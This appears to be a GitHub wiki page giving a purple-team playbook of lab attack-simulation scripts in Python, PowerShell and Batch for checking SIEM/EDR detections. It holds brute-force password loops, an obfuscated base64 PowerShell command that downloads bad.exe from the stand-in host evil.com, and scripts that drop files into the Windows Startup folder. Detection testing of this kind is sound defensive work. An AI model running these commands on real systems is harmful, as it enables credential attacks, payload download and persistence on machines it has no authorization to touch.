Skip to content

Purple Team Playbook Multi Platform Scripts

github-actions[bot] edited this page Nov 15, 2026 · 1 revision

๐ŸŽฏ Purpose

Integrate Python, PowerShell, and Batch scripts for realistic, multi-platform attack simulation & detection validation.

โš™๏ธ Function

A tight, four-step scripted loop (pick a TTP โ†’ script the attack in Python/PowerShell/Batch โ†’ run it in an isolated lab โ†’ check SIEM/EDR for the resulting logs and alerts). This is the script-centric variant of the purple team playbooks - where PurpleTeam_Simple.md and PurpleTeam_Detailed.md describe the exercise process and tooling ecosystem, this file is specifically about writing and running the actual attack scripts that drive detection validation, organized by scripting language/platform.

๐Ÿ† Goal

Make it fast to go from "we want to validate detection for TTP X" to an actual runnable script and a confirmed SIEM/EDR alert (or confirmed detection gap) - minimizing the time between choosing a technique and getting a real answer about your detection coverage.

๐Ÿ“‹ When to Use

  • You already have a purple team process (see PurpleTeam_Simple.md/PurpleTeam_Detailed.md) and need the actual attack script for a specific TTP
  • Validating detection coverage for a technique across multiple platforms/languages (e.g., confirming both a PowerShell-based and Python-based version of the same TTP get caught)
  • Building a reusable library of attack scripts mapped to MITRE ATT&CK techniques for repeat testing

Tools to Keep Ready

Type Tool Example
Python Custom scripts, Atomic Red Team helpers Parse synthetic JSONL detections in an isolated fixture
PowerShell Windows-native canary event generation Emit a harmless, uniquely tagged test event on an owned Windows VM
Batch Batch wrappers in a disconnected lab Write a tagged benign command-output file, then verify expected logs

Workflow (Recap)

1๏ธโƒฃ Pick TTP

2๏ธโƒฃ Script attack in Python/PowerShell/Batch

3๏ธโƒฃ Run in isolated lab

4๏ธโƒฃ Check SIEM/EDR for logs & alerts

5๏ธโƒฃ Tune detection

6๏ธโƒฃ Document and iterate


Example Playbook Entries

Below are practical examples for each script type.


๐Ÿงฉ Example 1 - Brute Force

Item Value
TTP ID T1110 (Brute Force)
Goal Test login failure detection
Method (Python) Try multiple password attempts
Method (PowerShell) Loop failed net use
Method (Batch) Automate repeated auth attempts

โœ… Python

import requests
from requests.auth import HTTPBasicAuth

users = ["admin"]
passwords = ["1234", "password", "admin"]

for user in users:
    for pwd in passwords:
        r = requests.get(
            "http://target/login",
            auth=HTTPBasicAuth(user, pwd)
        )
        print(f"{user}:{pwd} -> {r.status_code}")

โœ… PowerShell

# Attempt network share connection with bad creds
$User = "admin"
$Passwords = @("1234", "password", "admin")

foreach ($pwd in $Passwords) {
    net use \\target\IPC$ /user:$User $pwd
}

โœ… Batch

@echo off
set USER=admin
set PASSWORDS=1234 password admin

for %%P in (%PASSWORDS%) do (
    net use \\target\IPC$ /user:%USER% %%P
)

๐Ÿงฉ Example 2 - Suspicious PowerShell

Item Value
TTP ID T1059
Goal Test detection of obfuscated PowerShell
Method (PowerShell) Base64-encoded command
Method (Batch) Spawn PowerShell with encoded script

โœ… PowerShell

# Encoded command to download file
$Command = 'Invoke-WebRequest -Uri http://evil.com/bad.exe -OutFile C:\temp\bad.exe'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$Encoded = [Convert]::ToBase64String($Bytes)

powershell.exe -EncodedCommand $Encoded

โœ… Batch

@echo off
REM Spawn PowerShell with encoded download command
powershell.exe -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AYgBhAGQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAHQAZQBtAHAAXABiAGEAZAAuAGUAeABl

(This string is the UTF-16 base64 version of Invoke-WebRequest ... above - can regenerate as needed.)


๐Ÿงฉ Example 3 - Persistence via Startup (Batch)

Item Value
TTP ID T1547
Goal Validate detection of new startup entries
Method (Batch) Drop script in startup folder

โœ… Batch

@echo off
REM Create a malicious batch file in startup folder
echo @echo Malicious Run >> %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat

โœ… PowerShell

# Drop a startup script
$Path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\evil.ps1"
Set-Content $Path "Start-Process notepad.exe"

๐Ÿงฉ Example 4 - Python to Trigger SIEM Alert

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
syslog_server = ("192.168.1.100", 514)

message = "<134> LAB TEST: Detected Evil Activity!"
sock.sendto(message.encode(), syslog_server)
sock.close()

Reporting Template

Field Example
TTP T1110
Goal Validate brute force detection
Tool Python + PowerShell + Batch
Log Source Auth logs
SIEM Rule Multiple failed logins
Result Pass
Notes Lockout threshold adjusted

Version Control

Store:

  • /scripts/python/
  • /scripts/powershell/
  • /scripts/batch/
  • /docs/playbook.md

Use git so you track edits & additions over time.


Security and Ethical Considerations โš ๏ธ

IMPORTANT: These tools are for authorized security testing only. Unauthorized use is illegal.

  • Marauder Use: Get written permission before testing any network. Only test networks you own or have explicit authorization to test.
  • Cracking Use: All cracking attempts (Hashcat) must be done in an isolated lab environment against hashes you are authorized to possess.
  • Legal Compliance: Strictly comply with all local laws and regulations.

Legal Use Cases:

  • Penetration testing with client authorization.
  • Testing your own home or lab network security.
  • Security research in isolated lab environments.

Related Files


๐Ÿ“„ Source: PlayBooks/PurpleTeam_Multi-Scrip.md | โœ๏ธ Suggest an edit | โฌ…๏ธ Back to Playbooks

Clone this wiki locally